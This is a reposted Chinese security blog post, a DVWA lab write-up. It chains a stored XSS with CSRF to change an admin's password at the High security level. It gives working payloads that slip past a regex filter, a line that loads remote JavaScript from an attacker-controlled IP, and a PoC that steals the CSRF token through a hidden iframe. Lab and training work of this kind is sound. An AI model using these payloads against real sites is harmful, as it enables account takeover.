专栏首页FreeBufDVWA 1.10 High等级的CSRF另类通关法

DVWA 1.10 High等级的CSRF另类通关法

0x00 简单分析一下CSRF后端逻辑

vulnerabilities\csrf\source\high.php

<?php
if( isset( $_GET[ 'Change' ] ) ) {    // 验证 Token 如果不正确则跳转到index.php    // dvwa\includes\dvwaPage.inc.php:527    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//...中间省略,只关注上下这两个函数...
// 生成 Token , 使用了 md5( uniqid() ),所以几乎不可能猜测到Token值// dvwa\includes\dvwaPage.inc.php:527generateSessionToken();
?>

(这里只是简单说明一下逻辑,本站已有前辈详细分析过源码)

由于使用了不可猜测到的token,所以我们首先想到的思路,就是找一个XSS漏洞来配合,先通过XSS获得token之后修改密码。

0x01 突破点 XSS-Stored

vulnerabilities\xss_s\source\high.php

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {    // Get input    $message = trim( $_POST[ 'mtxMessage' ] );    $name    = trim( $_POST[ 'txtName' ] );
    // strip_tags去除了HTML标签,htmlspecialchars 转义特殊字符&"<>为实体     $message = strip_tags( addslashes( $message ) );    ...    $message = htmlspecialchars( $message );
    // $name并没有像上面一样严格过滤,只用正则简单的做了剔除,导致了XSS的可能,但是有限制下面会说    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );    ...
    // 将$message、$name插入数据表    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";    ...
    //mysql_close();}
?>

这里已经分析确认了$name可被我们利用做XSS,这样就可以配合CSRF来重置用户密码了。

需要先说明一下DVWA的数据库设计,guestbook表的name字段类型为varchar(100),也就是说最多name只能写入100个字符,超过的字符会被数据库抛弃不存储。

那么如何做到bypass呢,就是本文要表达的重点了。

0x02 前端先设置油猴脚本

由于DVWA前端的Name字段限制长度10个字符,而且测试过程中发包次数很多,每次都要修改长度就很烦,这里就可以让油猴代替我们修改,当然你也可以用Burpsuite发包,我这里只写了自己的测试方法。

BTW: 这里没有修改DVWA后端源码,以保证跟大家的代码一致。

// ==UserScript==// @name         改掉DVWA烦人的长度限制// @namespace    http://tampermonkey.net/// @version      0.1// @description  try to take over the world!// @author       F1tz// @match        http://dvwa.lab/vulnerabilities/xss_s/// @grant        none// ==/UserScript==
(function() {    'use strict';    var N = document.getElementsByName('txtName');    var M = document.getElementsByName('mtxMessage');    N[0].maxLength=100;    N[0].size=60;    M[0].value=1;})();

安装脚本,并确保脚本处于启用状态。

这时候打开测试页面,就可以直接输入最多100个字符了,而且Message会自动填入1。

下面开始测试。

0x03 一次失败的尝试

构造payload:

先插入了一个iframe标签到留言板<iframe src="../csrf"></iframe>并在控制台执行测试payload语句f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;

确认Payload可以成功,数据库查看密码确实修改为了admin,为了后边测试,我将密码修改回 password。

我开始想办法实现CSRF自动化修改密码,由于100个字符的限制,我将payload分成7份提交

<iframe src="../csrf"></iframe>    <img src="x" onerror="f=frames[0];">    <img src="x" onerror="s='../csrf/?password_new=admin&password_conf=admin'">    <img src="x" onerror="s+='&Change=Change&user_token='">    <img src="x" onerror="t=f.document.getElementsByName('user_token')[0].value;">    <img src="x" onerror="i=document.createElement('img');">    <img src="x" onerror="i.src=s+t">

查看DOM,确认没有任何实体、转义。

第一次报错

刷新后查看。

第二次报错

再次刷新。

第三次报错

几乎每次刷新都会有报错,非常小的概率能够执行成功,你会发现每次的报错都不同,每次都随机提示我某个变量未定义。

痛定思痛

猜测为执行时序不同导致的,尝试搜索相关解决方案,但是并没有找到相关准确结果。

后来尝试修改img onerror为svg/onload。

<iframe src="../csrf"></iframe><svg/onload="f=frames[0]"><svg/onload="s='../csrf/?password_new=admin&password_conf=admin'"><svg/onload="s+='&Change=Change&user_token='"><svg/onload="t=f.document.getElementsByName('user_token')[0].value"><svg/onload="i=document.createElement('img')"><svg/onload="i.src=s+t">

然而问题依旧,控制台里得到了同样的错误,但是我还是太蔡了,甚至尝试在onload事件内使用 'window.onload;' ,依旧无法做到依次向下执行,理论上浏览器是会将HTML按照顺序向下渲染的,但是事件真是让我琢磨不定。

0x04 发现新曙光

我开始思考如何减少payload的数量,企图降低错误概率。

这个时候我发现可以通过拼接出一个script来引入外部js。

<svg/onload="s='scrip'"><svg/onload="j=document.createElement(s+'t')">

在此之后我想到大佬说的事件内可以解析ASCII编码后的字符串。

script编码后为:&#115;&#99;&#114;&#105;&#112;&#116;
<svg/onload="s='&#115;&#99;&#114;&#105;&#112;&#116;'">

这样就可以绕过后端的正则过滤(感叹:真是太蔡了,早先怎么没想到啊 :-( )。

于是payload就减少到了4个。

<svg/onload="s='&#115;&#99;&#114;&#105;&#112;&#116;'"><svg/onload="j=document.createElement(s)"><svg/onload="j.src='http://192.168.224.1/x.js'"><svg/onload="document.body.appendChild(j)">

为了方便测试,在 x.js 里只写了 alert('HelloDVWA')。

发现成功了!!!x.js 被成功加载了。

可是老问题依然存在。

设想如果管理员只登陆刷新一次留言板,这样的成功率并不能够然人满意,我又开始另想办法了。

0x05 办法总比问题多

我就在想,既然跟时序有关,我可以延时吧,让它们每一句等待的时间不同,就可以人工干预执行时序了。

于是payload变成了这样:

<svg/onload="setTimeout(function(){s='&#115;&#99;&#114;&#105;&#112;&#116;'},3000)"><svg/onload="setTimeout(function(){j=document.createElement(s)},4000)"><svg/onload="setTimeout(function(){j.src='http://192.168.224.1/x.js'},5000)"><svg/onload="setTimeout(function(){document.body.appendChild(j)},6000)">

两个账户、两个浏览器(chrome、firefox)都测试成功,且多次成功,没有再报错了。

能够确认有效之后,便修改x.js。

PoC 如下:

ifr = document.createElement('iframe');ifr.src="../csrf";ifr.hidden=1;document.body.appendChild(ifr);setTimeout(function(){f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;},3000)

流程如图:

当管理员访问留言板(XSS-Stored)时候:

1、会先加载x.js

2、x.js内的脚本内容,会创建一个隐藏的iframe标签到DOM

3、等待iframe创建完成之后,便通过创建一个img标签,自动触发修改密码的请求

本文分享自微信公众号 - FreeBuf(freebuf),作者:F1tz

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-05-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 任意用户密码重置(三):用户混淆

    在逻辑漏洞中,任意用户密码重置最为常见,可能出现在新用户注册页面,也可能是用户登录后重置密码的页面,或者用户忘记密码时的密码找回页面,其中,密码找回功能是重灾区...

    FB客服
  • xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+documen...

    FB客服
  • 任意用户密码重置(一):重置凭证泄漏

    在逻辑漏洞中,任意用户密码重置最为常见,可能出现在新用户注册页面,也可能是用户登录后重置密码的页面,或者用户忘记密码时的密码找回页面。其中,密码找回功能是重灾区...

    FB客服
  • jq 判断是否有图片,如有给父级添加class

    Savalone
  • [Python] 豆瓣自动回帖、顶帖源码

    https://github.com/1061700625/auto_douban

    小锋学长
  • 直方图均衡的一些变体算法

    上上上上周,数字图片处理课程布置了一个作业,需要看论文实现并比较各种直方图均衡的算法:

    caoqi95
  • 使用 Wave 文件绕过 CSP 策略

    CSP 全称 Content Security Policy,即内容安全策略。CSP 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括 XSS 和注入...

    信安之路
  • go框架中使用CGO,docker build image打包镜像注意事项

    whileideath
  • Flask-SQLAlchemy操作数据库

    flask默认提供模型操作,但是并没有提供ORM,所以一般开发的时候我们会采用flask-SQLAlchemy模块来实现ORM操作。 SQLAlchemy是...

    菲宇
  • 三问数据中台:是什么?怎么做?为什么要做?

    自从阿里提出了“大中台,小前台”概念之后,这几年数据中台这个概念火了起来,互联网巨头们纷纷搭建起了自家的数据中台,究竟数据中台有什么魅力,能让企业如此重视?

    CloudBest

扫码关注云+社区

领取腾讯云代金券